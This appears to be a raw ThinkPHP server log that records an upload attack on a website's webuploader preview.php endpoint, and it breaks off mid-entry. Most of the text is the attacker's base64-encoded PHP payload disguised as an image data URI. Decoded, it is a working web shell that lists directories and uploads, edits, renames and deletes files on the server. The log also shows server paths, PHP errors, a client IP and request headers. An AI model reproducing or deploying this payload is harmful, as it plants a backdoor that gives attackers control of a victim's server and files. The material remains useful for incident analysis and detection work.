'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:33:05+08:00 ] 116.213.36.234 POST www.51tianwei.com/manage/assets/lib/webuploader/0.1.15/server/preview.php [运行时间:0.002558s] [吞吐率:390.90req/s] [内存消耗:196.80kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'manage', 2 => 'assets', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 